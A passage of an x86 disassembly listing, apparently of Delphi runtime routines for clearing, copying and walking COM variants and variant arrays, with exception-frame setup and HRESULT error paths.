		call	sub_400062F0
		mov	ecx, [ebp+var_18]
		mov	dl, 1
		mov	eax, ds:off_4000DA70
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF5B:				; CODE XREF: sub_4000DDD4+84j
		lea	edx, [ebp+var_1C]
		mov	eax, off_4001AF44
		call	sub_400062F0
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, ds:off_4000D810
		call	sub_4000B030
		call	sub_400042E4
		jmp	short loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF7E:				; CODE XREF: sub_4000DDD4+48j
		lea	edx, [ebp+var_20]
		mov	eax, off_4001AEFC
		call	sub_400062F0
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, ds:off_4000DAD8
		call	sub_4000B030
		call	sub_400042E4
		jmp	short loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DFA1:				; CODE XREF: sub_4000DDD4+4Ej
					; sub_4000DDD4+5Dj ...
		mov	eax, off_4001B09C
		mov	eax, [eax]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], 0Bh
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], 0
		lea	edx, [ebp+var_3C]
		mov	eax, ebx
		call	sub_4000A81C
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], 0Bh
		lea	eax, [ebp+var_38]
		push	eax
		push	2
		lea	edx, [ebp+var_40]
		mov	eax, off_4001AF98
		call	sub_400062F0
		mov	ecx, [ebp+var_40]
		mov	dl, 1
		mov	eax, ds:off_400075AC
		call	sub_4000B06C
		call	sub_400042E4


loc_4000DFF1:				; CODE XREF: sub_4000DDD4+94j
					; sub_4000DDD4+BAj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E020


loc_4000DFFE:				; CODE XREF: sub_4000DDD4+24Aj
		lea	eax, [ebp+var_40]
		mov	edx, 2
		call	sub_400048A8
		lea	eax, [ebp+var_20]
		mov	edx, 8
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000E019:				; DATA XREF: sub_4000DDD4+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DFFE
; ---------------------------------------------------------------------------


loc_4000E020:				; CODE XREF: sub_4000DDD4+244j
					; DATA XREF: sub_4000DDD4+225o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000DDD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E028	proc near		; CODE XREF: sub_4000E1E0+23p
					; sub_4000E1E0+B4p ...
		test	eax, eax
		jz	short locret_4000E031
		call	sub_4000DDD4

locret_4000E031:			; CODE XREF: sub_4000E028+2j
		retn
sub_4000E028	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E034	proc near		; CODE XREF: sub_4000E068+23p
					; sub_4000E068+48p ...
		push	ebx
		test	eax, eax
		jz	short loc_4000E065
		mov	ebx, eax
		sub	ebx, 80020005h
		jz	short loc_4000E04A
		sub	ebx, 5
		jz	short loc_4000E055
		jmp	short loc_4000E060
; ---------------------------------------------------------------------------


loc_4000E04A:				; CODE XREF: sub_4000E034+Dj
		mov	eax, edx
		mov	edx, ecx
		call	sub_4000DBF4
		jmp	short loc_4000E065
; ---------------------------------------------------------------------------


loc_4000E055:				; CODE XREF: sub_4000E034+12j
		mov	eax, edx
		mov	edx, ecx
		call	sub_4000DCE4
		jmp	short loc_4000E065
; ---------------------------------------------------------------------------


loc_4000E060:				; CODE XREF: sub_4000E034+14j
		call	sub_4000DDD4


loc_4000E065:				; CODE XREF: sub_4000E034+3j
					; sub_4000E034+1Fj ...
		pop	ebx
		retn
sub_4000E034	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E068	proc near		; CODE XREF: sub_4000ED90+430p
					; sub_4000F1E0+9Dp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_40002CA4
		mov	edx, ds:off_400070C0
		call	sub_40003E74
		test	al, al
		jz	short loc_4000E093
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, 8002000Ah
		call	sub_4000E034
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4000E093:				; CODE XREF: sub_4000E068+18j
		call	sub_40002CA4
		mov	edx, ds:off_4000727C
		call	sub_40003E74
		test	al, al
		jz	short loc_4000E0B7
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, 8002000Ah
		call	sub_4000E034
		jmp	short loc_4000E0E9
; ---------------------------------------------------------------------------


loc_4000E0B7:				; CODE XREF: sub_4000E068+3Dj
		call	sub_40002CA4
		mov	edx, ds:off_400073E4
		call	sub_40003E74
		test	al, al
		jz	short loc_4000E0DB
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_4000E0E9
; ---------------------------------------------------------------------------


loc_4000E0DB:				; CODE XREF: sub_4000E068+61j
		call	sub_40002CC4
		mov	edx, eax
		mov	eax, edx
		call	sub_400042E4


loc_4000E0E9:				; CODE XREF: sub_4000E068+4Dj
					; sub_4000E068+71j
		pop	esi
		pop	ebx
		retn
sub_4000E068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E0EC	proc near		; CODE XREF: sub_40012D28p
					; DATA XREF: sub_40019144+24o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000E136
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AEBC
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000DB3C
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E13D


loc_4000E12D:				; CODE XREF: sub_4000E0EC+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000E136:				; DATA XREF: sub_4000E0EC+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E12D
; ---------------------------------------------------------------------------


loc_4000E13D:				; CODE XREF: sub_4000E0EC+49j
					; DATA XREF: sub_4000E0EC+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000E0EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000E140	proc near		; CODE XREF: sub_4000E9CC+C6p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000E3D8
		mov	word ptr [ebx],	1
		pop	ebx
		retn
sub_4000E140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E154	proc near		; CODE XREF: sub_4000E1E0+123p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 0FFFFFD00h


loc_4000E161:				; CODE XREF: sub_4000E154+28j
		mov	edx, [ecx+eax*8+4]
		add	edx, [ecx+eax*8]
		mov	ebx, [ebp+arg_0]
		cmp	edx, [ebx+eax*4-100h]
		setnle	dl
		dec	eax
		test	dl, dl
		jz	short loc_4000E17E
		test	eax, eax
		jge	short loc_4000E161


loc_4000E17E:				; CODE XREF: sub_4000E154+24j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_4000E154	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E184	proc near		; CODE XREF: sub_4000E184+4Dp
					; sub_4000E1E0+15Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	dl, 1
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+eax*4-100h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+eax*8-2FCh]
		mov	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	ebx, [esi+eax*8-300h]
		mov	esi, [ebp+arg_0]
		cmp	ebx, [esi+eax*4-100h]
		jg	short loc_4000E1D9
		test	eax, eax
		jnz	short loc_4000E1BF
		xor	edx, edx
		jmp	short loc_4000E1D9
; ---------------------------------------------------------------------------


loc_4000E1BF:				; CODE XREF: sub_4000E184+35j
		mov	edx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	[edx+eax*4-100h], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		dec	eax
		call	sub_4000E184
		pop	ecx
		mov	edx, eax


loc_4000E1D9:				; CODE XREF: sub_4000E184+31j
					; sub_4000E184+39j
		mov	eax, edx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4000E184	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E1E0	proc near		; CODE XREF: sub_4000E35C+4Bp

var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= byte ptr -300h
var_2FC		= byte ptr -2FCh
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_304]
		test	byte ptr [eax+1], 20h
		jnz	short loc_4000E208
		mov	eax, 80070057h
		call	sub_4000E028


loc_4000E208:				; CODE XREF: sub_4000E1E0+1Cj
		mov	eax, [ebp+var_304]
		movzx	eax, word ptr [eax]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 0Ch
		jnz	loc_4000E344
		mov	edx, [ebp+var_304]
		test	ah, 40h
		jz	short loc_4000E240
		mov	eax, [ebp+var_304]
		mov	eax, [eax+8]
		mov	eax, [eax]
		mov	[ebp+var_308], eax
		jmp	short loc_4000E24F
; ---------------------------------------------------------------------------


loc_4000E240:				; CODE XREF: sub_4000E1E0+4Bj
		mov	eax, [ebp+var_304]
		mov	eax, [eax+8]
		mov	[ebp+var_308], eax


loc_4000E24F:				; CODE XREF: sub_4000E1E0+5Ej
		mov	eax, [ebp+var_308]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_310], eax
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E2D4
		inc	ebx
		xor	edi, edi
		lea	esi, [ebp+var_300]


loc_4000E272:				; CODE XREF: sub_4000E1E0+F2j
		mov	eax, esi
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		add	eax, 4
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_308]
		push	eax
		call	sub_4000D248
		call	sub_4000E028
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_308]
		push	eax
		call	sub_4000D250
		call	sub_4000E028
		mov	eax, [ebp+var_318]
		mov	edx, [ebp+var_30C]
		sub	edx, [eax+4]
		inc	edx
		mov	eax, [ebp+var_318]
		mov	[eax], edx
		inc	edi
		add	esi, 8
		dec	ebx
		jnz	short loc_4000E272


loc_4000E2D4:				; CODE XREF: sub_4000E1E0+87j
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E2F9
		inc	ebx
		lea	eax, [ebp+var_2FC]
		lea	edx, [ebp+var_100]


loc_4000E2EC:				; CODE XREF: sub_4000E1E0+117j
		mov	ecx, [eax]
		mov	[edx], ecx
		add	edx, 4
		add	eax, 8
		dec	ebx
		jnz	short loc_4000E2EC


loc_4000E2F9:				; CODE XREF: sub_4000E1E0+FDj
					; sub_4000E1E0+162j
		push	ebp
		mov	ebx, [ebp+var_310]
		dec	ebx
		mov	eax, ebx
		call	sub_4000E154
		pop	ecx
		test	al, al
		jz	short loc_4000E337
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_308]
		push	eax
		call	sub_4000D258
		call	sub_4000E028
		mov	eax, [ebp+var_314]
		call	sub_4000E3D8


loc_4000E337:				; CODE XREF: sub_4000E1E0+12Bj
		push	ebp
		mov	eax, ebx
		call	sub_4000E184
		pop	ecx
		test	al, al
		jnz	short loc_4000E2F9


loc_4000E344:				; CODE XREF: sub_4000E1E0+3Cj
		mov	eax, [ebp+var_304]
		push	eax
		call	sub_4000CDE0
		call	sub_4000E028
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000E1E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000E35C	proc near		; CODE XREF: sub_4000E3D8:loc_4000E3E5p
					; sub_4000E654+11p ...

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		movzx	esi, word ptr [ebx]
		cmp	si, 14h
		jnb	short loc_4000E377
		push	ebx
		call	sub_4000CDE0
		call	sub_4000E028
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E377:				; CODE XREF: sub_4000E35C+Cj
		cmp	si, 100h
		jnz	short loc_4000E38D
		mov	word ptr [ebx],	0
		lea	eax, [ebx+8]
		call	sub_40004884
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E38D:				; CODE XREF: sub_4000E35C+20j
		cmp	si, 101h
		jnz	short loc_4000E39E
		mov	eax, ebx
		call	ds:off_4001F298
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E39E:				; CODE XREF: sub_4000E35C+36j
		test	si, 2000h
		jz	short loc_4000E3AE
		mov	eax, ebx
		call	sub_4000E1E0
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E3AE:				; CODE XREF: sub_4000E35C+47j
		mov	edx, esp
		mov	eax, esi
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E3C7
		mov	edx, ebx
		mov	eax, [esp+0Ch+var_C]
		mov	ecx, [eax]
		call	dword ptr [ecx+24h]
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E3C7:				; CODE XREF: sub_4000E35C+5Dj
		push	ebx
		call	sub_4000CDE0
		push	ebx
		call	sub_4000CDD8


loc_4000E3D3:				; CODE XREF: sub_4000E35C+19j
					; sub_4000E35C+2Fj ...
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000E35C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E3D8	proc near		; CODE XREF: sub_4000E140+5p
					; sub_4000E1E0+152p ...
		test	word ptr [eax],	0BFE8h
		jnz	short loc_4000E3E5
		mov	word ptr [eax],	0
		retn
; ---------------------------------------------------------------------------


loc_4000E3E5:				; CODE XREF: sub_4000E3D8+5j
		call	sub_4000E35C
		retn
sub_4000E3D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E3EC	proc near		; CODE XREF: sub_400052FC+9p
					; sub_40012E54+2Dp
					; DATA XREF: ...
		push	eax
		call	sub_4000E3D8
		pop	eax
		retn
sub_4000E3EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E3F4	proc near		; CODE XREF: sub_4000E480+14Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 0FFFFFD00h


loc_4000E401:				; CODE XREF: sub_4000E3F4+28j
		mov	edx, [ecx+eax*8+4]
		add	edx, [ecx+eax*8]
		mov	ebx, [ebp+arg_0]
		cmp	edx, [ebx+eax*4-100h]
		setnle	dl
		dec	eax
		test	dl, dl
		jz	short loc_4000E41E
		test	eax, eax
		jge	short loc_4000E401


loc_4000E41E:				; CODE XREF: sub_4000E3F4+24j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_4000E3F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E424	proc near		; CODE XREF: sub_4000E424+4Dp
					; sub_4000E480+1A5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	dl, 1
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+eax*4-100h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+eax*8-2FCh]
		mov	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	ebx, [esi+eax*8-300h]
		mov	esi, [ebp+arg_0]
		cmp	ebx, [esi+eax*4-100h]
		jg	short loc_4000E479
		test	eax, eax
		jnz	short loc_4000E45F
		xor	edx, edx
		jmp	short loc_4000E479
; ---------------------------------------------------------------------------


loc_4000E45F:				; CODE XREF: sub_4000E424+35j
		mov	edx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	[edx+eax*4-100h], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		dec	eax
		call	sub_4000E424
		pop	ecx
		mov	edx, eax


loc_4000E479:				; CODE XREF: sub_4000E424+31j
					; sub_4000E424+39j
		mov	eax, edx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4000E424	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E480	proc near		; CODE XREF: sub_4000E654+75p

var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= byte ptr -300h
var_2FC		= byte ptr -2FCh
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_308], ecx
		mov	ebx, edx
		mov	[ebp+var_304], eax
		test	byte ptr [ebx+1], 20h
		jnz	short loc_4000E4AA
		mov	eax, 80070057h
		call	sub_4000E028


loc_4000E4AA:				; CODE XREF: sub_4000E480+1Ej
		movzx	eax, word ptr [ebx]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 0Ch
		jnz	loc_4000E631
		test	ah, 40h
		jz	short loc_4000E4D0
		mov	eax, [ebx+8]
		mov	eax, [eax]
		mov	[ebp+var_314], eax
		jmp	short loc_4000E4D9
; ---------------------------------------------------------------------------


loc_4000E4D0:				; CODE XREF: sub_4000E480+41j
		mov	eax, [ebx+8]
		mov	[ebp+var_314], eax


loc_4000E4D9:				; CODE XREF: sub_4000E480+4Ej
		mov	eax, [ebp+var_314]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_310], eax
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E55E
		inc	ebx
		xor	edi, edi
		lea	esi, [ebp+var_300]


loc_4000E4FC:				; CODE XREF: sub_4000E480+DCj
		mov	eax, esi
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_320]
		add	eax, 4
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_314]
		push	eax
		call	sub_4000D248
		call	sub_4000E028
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_314]
		push	eax
		call	sub_4000D250
		call	sub_4000E028
		mov	eax, [ebp+var_320]
		mov	edx, [ebp+var_30C]
		sub	edx, [eax+4]
		inc	edx
		mov	eax, [ebp+var_320]
		mov	[eax], edx
		inc	edi
		add	esi, 8
		dec	ebx
		jnz	short loc_4000E4FC


loc_4000E55E:				; CODE XREF: sub_4000E480+71j
		lea	eax, [ebp+var_300]
		push	eax
		mov	eax, [ebp+var_310]
		push	eax
		push	0Ch
		call	sub_4000D240
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4000E57E
		call	sub_4000DD80


loc_4000E57E:				; CODE XREF: sub_4000E480+F7j
		mov	eax, [ebp+var_304]
		call	sub_4000E3D8
		mov	eax, [ebp+var_304]
		mov	word ptr [eax],	200Ch
		mov	eax, [ebp+var_304]
		mov	[eax+8], esi
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E5C2
		inc	ebx
		lea	eax, [ebp+var_2FC]
		lea	edx, [ebp+var_100]


loc_4000E5B5:				; CODE XREF: sub_4000E480+140j
		mov	ecx, [eax]
		mov	[edx], ecx
		add	edx, 4
		add	eax, 8
		dec	ebx
		jnz	short loc_4000E5B5


loc_4000E5C2:				; CODE XREF: sub_4000E480+126j
					; sub_4000E480+1ADj
		push	ebp
		mov	ebx, [ebp+var_310]
		dec	ebx
		mov	eax, ebx
		call	sub_4000E3F4
		pop	ecx
		test	al, al
		jz	short loc_4000E622
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_314]
		push	eax
		call	sub_4000D258
		call	sub_4000E028
		lea	eax, [ebp+var_31C]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	esi
		call	sub_4000D258
		call	sub_4000E028
		mov	eax, [ebp+var_318]
		mov	edx, eax
		mov	eax, [ebp+var_31C]
		call	[ebp+var_308]


loc_4000E622:				; CODE XREF: sub_4000E480+154j
		push	ebp
		mov	eax, ebx
		call	sub_4000E424
		pop	ecx
		test	al, al
		jnz	short loc_4000E5C2
		jmp	short loc_4000E643
; ---------------------------------------------------------------------------


loc_4000E631:				; CODE XREF: sub_4000E480+38j
		push	ebx
		mov	eax, [ebp+var_304]
		push	eax
		call	sub_4000CDE8
		call	sub_4000E028


loc_4000E643:				; CODE XREF: sub_4000E480+1AFj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000E480	endp

; ---------------------------------------------------------------------------
		align 4


loc_4000E64C:				; DATA XREF: sub_4000E654+6Co
		call	sub_4000E700
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E654	proc near		; CODE XREF: sub_4000E700+3Bp

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_4000E66A
		mov	eax, ebx
		call	sub_4000E35C


loc_4000E66A:				; CODE XREF: sub_4000E654+Dj
		movzx	edi, word ptr [esi]
		cmp	di, 14h
		jnb	short loc_4000E681
		push	esi
		push	ebx
		call	sub_4000CDE8
		call	sub_4000E028
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E681:				; CODE XREF: sub_4000E654+1Dj
		cmp	di, 100h
		jnz	short loc_4000E69F
		mov	word ptr [ebx],	100h
		xor	eax, eax
		mov	[ebx+8], eax
		lea	eax, [ebx+8]
		mov	edx, [esi+8]
		call	sub_400048D8
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E69F:				; CODE XREF: sub_4000E654+32j
		cmp	di, 101h
		jnz	short loc_4000E6B9
		mov	[ebx], di
		mov	eax, [esi+8]
		mov	[ebx+8], eax
		mov	eax, ebx
		call	ds:off_4001F2A0
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E6B9:				; CODE XREF: sub_4000E654+50j
		test	di, 2000h
		jz	short loc_4000E6D0
		mov	ecx, offset loc_4000E64C
		mov	edx, esi
		mov	eax, ebx
		call	sub_4000E480
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E6D0:				; CODE XREF: sub_4000E654+6Aj
		mov	edx, esp
		mov	eax, edi
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E6EE
		push	0
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, [esp+14h+var_10]
		mov	ebx, [eax]
		call	dword ptr [ebx+28h]
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E6EE:				; CODE XREF: sub_4000E654+87j
		push	esi
		push	ebx
		call	sub_4000CDE8
		call	sub_4000E028


loc_4000E6FA:				; CODE XREF: sub_4000E654+2Bj
					; sub_4000E654+49j ...
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000E654	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000E700	proc near		; CODE XREF: sub_4000540C+9p
					; .text:loc_4000E64Cp ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4000E740
		test	word ptr [ebx],	0BFE8h
		jnz	short loc_4000E737
		test	word ptr [esi],	0BFE8h
		jz	short loc_4000E71F
		mov	eax, esi
		call	sub_4000E35C


loc_4000E71F:				; CODE XREF: sub_4000E700+16j
		mov	eax, [ebx]
		mov	[esi], eax
		mov	eax, [ebx+4]
		mov	[esi+4], eax
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebx+0Ch]
		mov	[esi+0Ch], eax
		jmp	short loc_4000E740
; ---------------------------------------------------------------------------


loc_4000E737:				; CODE XREF: sub_4000E700+Fj
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E654


loc_4000E740:				; CODE XREF: sub_4000E700+8j
					; sub_4000E700+35j
		pop	esi
		pop	ebx
		retn
sub_4000E700	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E744	proc near		; CODE XREF: sub_4000E960+1Bp

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000E7A0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, esi
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		movzx	ecx, di
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_4000E9CC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E7A7


loc_4000E797:				; CODE XREF: sub_4000E744+61j
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000E7A0:				; DATA XREF: sub_4000E744+1Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E797
; ---------------------------------------------------------------------------


loc_4000E7A7:				; CODE XREF: sub_4000E744+5Bj
					; DATA XREF: sub_4000E744+4Eo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000E744	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E7B0	proc near		; CODE XREF: sub_4000E9CC+166p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E7EE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_40012728
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E7F5


loc_4000E7E5:				; CODE XREF: sub_4000E7B0+43j
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000E7EE:				; DATA XREF: sub_4000E7B0+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E7E5
; ---------------------------------------------------------------------------


loc_4000E7F5:				; CODE XREF: sub_4000E7B0+3Dj
					; DATA XREF: sub_4000E7B0+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E7B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E7FC	proc near		; CODE XREF: sub_4000E9CC+20Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E83A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_400116DC
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_400126FC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E841


loc_4000E831:				; CODE XREF: sub_4000E7FC+43j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000E83A:				; DATA XREF: sub_4000E7FC+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E831
; ---------------------------------------------------------------------------


loc_4000E841:				; CODE XREF: sub_4000E7FC+3Dj
					; DATA XREF: sub_4000E7FC+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E7FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E848	proc near		; CODE XREF: sub_4000E9CC+1E6p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E886
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
